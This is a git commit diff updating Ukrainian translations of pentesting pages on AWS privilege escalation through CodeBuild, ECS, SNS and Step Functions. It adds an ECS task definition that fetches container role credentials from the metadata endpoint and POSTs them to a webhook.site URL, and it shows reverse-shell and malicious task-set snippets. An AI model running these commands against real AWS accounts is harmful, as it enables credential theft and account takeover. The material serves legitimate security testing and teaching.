Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-04-30 15:32:01 +00:00
parent 7656b9c692
commit f6c666ec89
7 changed files with 939 additions and 533 deletions

View File

@@ -61,13 +61,13 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
**Примітка**: Різниця між цими двома командами полягає в тому, що:
- `StartBuild` запускає одну задачу збірки, використовуючи конкретний `buildspec.yml`.
- `StartBuildBatch` дозволяє вам запустити пакет збірок з більш складними конфігураціями (наприклад, виконання кількох збірок паралельно).
- `StartBuildBatch` дозволяє вам запустити пакет збірок з більш складними конфігураціями (наприклад, запуск кількох збірок паралельно).
**Можливий вплив:** Пряме підвищення привілеїв до прикріплених ролей AWS Codebuild.
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Зловмисник з правами **`iam:PassRole`, `codebuild:CreateProject` та `codebuild:StartBuild` або `codebuild:StartBuildBatch`** зможе **підвищити привілеї до будь-якої ролі IAM codebuild**, створивши працюючу.
Зловмисник з правами **`iam:PassRole`, `codebuild:CreateProject` та `codebuild:StartBuild` або `codebuild:StartBuildBatch`** зможе **підвищити привілеї до будь-якої ролі IAM Codebuild**, створивши працюючу.
{{#tabs }}
{{#tab name="Example1" }}
@@ -180,7 +180,7 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
> Додайте це до URL **`http://169.254.170.2/`** і ви зможете вивантажити облікові дані ролі.
> Більше того, він також містить **змінну середовища `ECS_CONTAINER_METADATA_URI`**, яка містить повну URL-адресу для отримання **інформації про метадані контейнера**.
> Більше того, він також містить **змінну середовища `ECS_CONTAINER_METADATA_URI`**, яка містить повний URL для отримання **інформації про метадані контейнера**.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -214,7 +214,7 @@ JSON="{
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
```
@@ -302,7 +302,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
### SSM
Маючи **достатньо прав для запуску сесії ssm**, можна потрапити **в проект Codebuild**, що будується.
Маючи **достатньо прав для запуску сесії ssm**, можна **потрапити всередину проекту Codebuild**, що будується.
Проект codebuild повинен мати точку зупинки:

View File

@@ -12,7 +12,10 @@
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **створити нове визначення завдання** з **шкідливим контейнером**, який краде облікові дані метаданих та **запустити його**.
Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **створити нове визначення завдання** з **шкідливим контейнером**, який краде облікові дані метаданих і **запустити його**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -32,12 +35,52 @@ aws ecs run-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
{{#endtab }}
{{#tab name="Webhook" }}
Створіть вебхук на сайті, як webhook.site
```bash
# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]
# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json
# Check the webhook for a response
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
{{#endtab }}
{{#endtabs }}
**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі ECS.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **створити нове визначення завдання** з **шкідливим контейнером**, який краде облікові дані метаданих і **запустити його**.\
Однак у цьому випадку потрібно, щоб контейнерний екземпляр запустив шкідливе визначення завдання.
Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **створити нову задачу** з **шкідливим контейнером**, який краде облікові дані метаданих і **запустити його**.\
Однак у цьому випадку потрібно, щоб був контейнерний екземпляр для запуску шкідливої задачі.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -57,7 +100,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **створити нову задачу** з **шкідливим контейнером**, який краде облікові дані метаданих, і **запустити її, створивши нову службу з принаймні 1 запущеною задачею.**
Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **згенерувати нове визначення завдання** з **шкідливим контейнером**, який краде облікові дані метаданих, і **запустити його, створивши нову службу з принаймні 1 завданням, що виконується.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -84,7 +127,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
Насправді, лише з цими дозволами можливо використовувати переопределення для виконання довільних команд у контейнері з довільною роллю за допомогою чогось на кшталт:
Насправді, лише з цими дозволами можливо використовувати переопределення для виконання довільних команд у контейнері з довільною роллю за допомогою чогось на зразок:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -144,8 +187,8 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Зловмисник з **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та ексфільтрувати IAM роль, що до неї прикріплена (вам потрібні права опису, оскільки це необхідно для виконання `aws ecs execute-command`).\
Однак, для цього екземпляр контейнера повинен працювати з **агентом ExecuteCommand** (який за замовчуванням не активований).
Зловмисник з **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та ексфільтрувати IAM роль, що до нього прикріплена (вам потрібні права опису, оскільки це необхідно для виконання `aws ecs execute-command`).\
Однак, для цього екземпляр контейнера повинен працювати з **агентом ExecuteCommand** (який за замовчуванням не працює).
Отже, зловмисник може спробувати:
@@ -167,12 +210,12 @@ aws ecs execute-command --interactive \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- Якщо він має **`ecs:RunTask`**, запустіть задачу з `aws ecs run-task --enable-execute-command [...]`
- Якщо він має **`ecs:StartTask`**, запустіть задачу з `aws ecs start-task --enable-execute-command [...]`
- Якщо він має **`ecs:CreateService`**, створіть сервіс з `aws ecs create-service --enable-execute-command [...]`
- Якщо він має **`ecs:UpdateService`**, оновіть сервіс з `aws ecs update-service --enable-execute-command [...]`
- Якщо у нього є **`ecs:RunTask`**, запустіть задачу за допомогою `aws ecs run-task --enable-execute-command [...]`
- Якщо у нього є **`ecs:StartTask`**, запустіть задачу за допомогою `aws ecs start-task --enable-execute-command [...]`
- Якщо у нього є **`ecs:CreateService`**, створіть сервіс за допомогою `aws ecs create-service --enable-execute-command [...]`
- Якщо у нього є **`ecs:UpdateService`**, оновіть сервіс за допомогою `aws ecs update-service --enable-execute-command [...]`
Ви можете знайти **приклади цих опцій** в **попередніх розділах ECS privesc**.
Ви можете знайти **приклади цих опцій** у **попередніх розділах ECS privesc**.
**Потенційний вплив:** Privesc до іншої ролі, прикріпленої до контейнерів.
@@ -194,14 +237,14 @@ aws-ec2-privesc.md
### `?ecs:RegisterContainerInstance`
TODO: Чи можливо зареєструвати екземпляр з іншого облікового запису AWS, щоб задачі виконувалися на машинах, контрольованих атакуючим??
TODO: Чи можливо зареєструвати екземпляр з іншого облікового запису AWS, щоб задачі виконувалися на машинах, контрольованих зловмисником??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Тестуйте це
> TODO: Протестуйте це
Атакуючий з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` та `ecs:DescribeTaskSets` може **створити шкідливий набір задач для існуючого сервісу ECS та оновити основний набір задач**. Це дозволяє атакуючому **виконувати довільний код у межах сервісу**.
Зловмисник з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` та `ecs:DescribeTaskSets` може **створити шкідливий набір задач для існуючого сервісу ECS та оновити основний набір задач**. Це дозволяє зловмиснику **виконувати довільний код у межах сервісу**.
```bash
bashCopy code# Register a task definition with a reverse shell
echo '{
@@ -227,7 +270,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Потенційний вплив**: Виконання довільного коду в ураженій службі, що потенційно вплине на її функціональність або ексфільтрує чутливі дані.
**Потенційний вплив**: Виконання довільного коду в ураженій службі, що може вплинути на її функціональність або ексфільтрувати чутливі дані.
## Посилання

View File

@@ -12,7 +12,7 @@
### `sns:Publish`
Зловмисник може надсилати шкідливі або небажані повідомлення до теми SNS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси.
Зловмисник може надсилати шкідливі або небажані повідомлення до теми SNS, що може призвести до пошкодження даних, виклику непередбачених дій або виснаження ресурсів.
```bash
aws sns publish --topic-arn <value> --message <value>
```
@@ -32,6 +32,6 @@ aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
```css
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
```
**Потенційний вплив**: Несанкціонований доступ до теми, витік повідомлень або маніпуляція темою з боку несанкціонованих користувачів або сервісів, порушення нормального функціонування для додатків, що покладаються на тему.
**Потенційний вплив**: Несанкціонований доступ до теми, витік повідомлень або маніпуляція темою несанкціонованими користувачами або сервісами, порушення нормального функціонування для додатків, що покладаються на тему.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Step Functions
Для отримання додаткової інформації про цей сервіс AWS, перевірте:
Для отримання додаткової інформації про цей сервіс AWS, перегляньте:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
@@ -14,7 +14,7 @@
Ці техніки підвищення привілеїв вимагатимуть використання деяких ресурсів AWS step function для виконання бажаних дій підвищення привілеїв.
Щоб перевірити всі можливі дії, ви можете зайти у свій обліковий запис AWS, вибрати дію, яку ви хочете використовувати, і подивитися параметри, які вона використовує, як у:
Щоб перевірити всі можливі дії, ви можете зайти у свій обліковий запис AWS, вибрати дію, яку ви хочете використовувати, і подивитися параметри, які вона використовує, як на:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
@@ -25,7 +25,7 @@
### `states:TestState` & `iam:PassRole`
Зловмисник з дозволами **`states:TestState`** та **`iam:PassRole`** може тестувати будь-який стан і передавати будь-яку IAM роль без створення або оновлення існуючої машини станів, що дозволяє несанкціонований доступ до інших сервісів AWS з дозволами ролі. У поєднанні ці дозволи можуть призвести до широких несанкціонованих дій, від маніпуляцій з робочими процесами до зміни даних, витоків даних, маніпуляцій з ресурсами та підвищення привілеїв.
Зловмисник з дозволами **`states:TestState`** та **`iam:PassRole`** може тестувати будь-який стан і передавати будь-яку IAM роль без створення або оновлення існуючої машини станів, що потенційно дозволяє несанкціонований доступ до інших сервісів AWS з дозволами ролі. У поєднанні ці дозволи можуть призвести до широкомасштабних несанкціонованих дій, від маніпуляцій з робочими процесами для зміни даних до витоків даних, маніпуляцій з ресурсами та підвищення привілеїв.
```bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
@@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
Зловмисник з **`states:CreateStateMachine`**& **`iam:PassRole`** зможе створити машину станів і надати їй будь-яку IAM роль, що дозволить несанкціонований доступ до інших сервісів AWS з дозволами ролі. На відміну від попередньої техніки підвищення привілеїв (**`states:TestState`** & **`iam:PassRole`**), ця не виконується сама по собі, вам також потрібно мати дозволи **`states:StartExecution`** або **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **не доступна для стандартних робочих процесів**, **тільки для виражених машин станів**) для того, щоб розпочати виконання над машиною станів.
Зловмисник з **`states:CreateStateMachine`**& **`iam:PassRole`** зможе створити машину станів і надати їй будь-яку IAM роль, що дозволить несанкціонований доступ до інших сервісів AWS з дозволами ролі. На відміну від попередньої техніки підвищення привілеїв (**`states:TestState`** & **`iam:PassRole`**), ця не виконується сама по собі, вам також потрібно мати дозволи **`states:StartExecution`** або **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **не доступний для стандартних робочих процесів**, **тільки для виразних машин станів**) для того, щоб розпочати виконання над машиною станів.
```bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
@@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```
Наступні приклади показують, як створити машину станів, яка створює ключ доступу для користувача **`admin`** та ексфільтрує цей ключ доступу до S3 бакету, контрольованого зловмисником, використовуючи ці дозволи та дозволяючу роль середовища AWS. Ця дозволяюча роль повинна мати будь-яку політику з високими привілеями, пов'язану з нею (наприклад, **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє машині станів виконувати дії **`iam:CreateAccessKey`** та **`s3:putObject`**.
Наступні приклади показують, як створити машину станів, яка створює ключ доступу для користувача **`admin`** та ексфільтрує цей ключ доступу до S3 бакету, контрольованого зловмисником, використовуючи ці дозволи та дозволену роль середовища AWS. Ця дозволена роль повинна мати будь-яку політику з високими привілеями, пов'язану з нею (наприклад, **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє машині станів виконувати дії **`iam:CreateAccessKey`** та **`s3:putObject`**.
- **stateMachineDefinition.json**:
```json
@@ -138,17 +138,17 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
### `states:UpdateStateMachine` & (не завжди необхідно) `iam:PassRole`
Атакуючий з дозволом **`states:UpdateStateMachine`** зможе змінити визначення машини станів, маючи можливість додати додаткові приховані стани, які можуть призвести до ескалації привілеїв. Таким чином, коли легітимний користувач запускає виконання машини станів, цей новий шкідливий прихований стан буде виконано, і ескалація привілеїв буде успішною.
Атакуючий з дозволом **`states:UpdateStateMachine`** зможе змінити визначення стану машини, маючи можливість додати додаткові приховані стани, які можуть призвести до ескалації привілеїв. Таким чином, коли легітимний користувач запускає виконання стану машини, цей новий шкідливий прихований стан буде виконано, і ескалація привілеїв буде успішною.
Залежно від того, наскільки дозволяючим є IAM Роль, асоційований з машиною станів, атакуючий зіткнеться з 2 ситуаціями:
Залежно від того, наскільки дозволяючим є IAM роль, асоційована зі станом машини, атакуючий зіткнеться з 2 ситуаціями:
1. **Дозволяючий IAM Роль**: Якщо IAM Роль, асоційований з машиною станів, вже є дозволяючим (наприклад, має прикріплену політику **`arn:aws:iam::aws:policy/AdministratorAccess`**), тоді дозвіл **`iam:PassRole`** не буде необхідним для ескалації привілеїв, оскільки не буде необхідності також оновлювати IAM Роль, з визначенням машини станів буде достатньо.
2. **Недозволяючий IAM Роль**: На відміну від попереднього випадку, тут атакуючий також вимагатиме дозвіл **`iam:PassRole`**, оскільки буде необхідно асоціювати дозволяючий IAM Роль з машиною станів на додаток до зміни визначення машини станів.
1. **Дозволяюча IAM роль**: Якщо IAM роль, асоційована зі станом машини, вже є дозволяючою (вона має, наприклад, прикріплену політику **`arn:aws:iam::aws:policy/AdministratorAccess`**), тоді дозвіл **`iam:PassRole`** не буде необхідним для ескалації привілеїв, оскільки не буде необхідності також оновлювати IAM роль, з визначенням стану машини буде достатньо.
2. **Недозволяюча IAM роль**: На відміну від попереднього випадку, тут атакуючий також вимагатиме дозвіл **`iam:PassRole`**, оскільки буде необхідно асоціювати дозволяючу IAM роль зі станом машини на додаток до зміни визначення стану машини.
```bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
```
Наступні приклади показують, як оновити легітимну машину станів, яка просто викликає функцію Lambda HelloWorld, щоб додати додатковий стан, який додає користувача **`unprivilegedUser`** до групи IAM **`administrator`**. Таким чином, коли легітимний користувач запускає виконання оновленої машини станів, цей новий шкідливий прихований стан буде виконано, і ескалація привілеїв буде успішною.
Наступні приклади показують, як оновити легітимну машину станів, яка просто викликає функцію HelloWorld Lambda, щоб додати додатковий стан, який додає користувача **`unprivilegedUser`** до групи IAM **`administrator`**. Таким чином, коли легітимний користувач запускає виконання оновленої машини станів, цей новий шкідливий прихований стан буде виконано, і ескалація привілеїв буде успішною.
> [!WARNING]
> Якщо машина станів не має асоційованої дозволеної IAM ролі, також буде потрібен дозвіл **`iam:PassRole`** для оновлення IAM ролі, щоб асоціювати дозволену IAM роль (наприклад, одну з прикріпленою політикою **`arn:aws:iam::aws:policy/AdministratorAccess`**).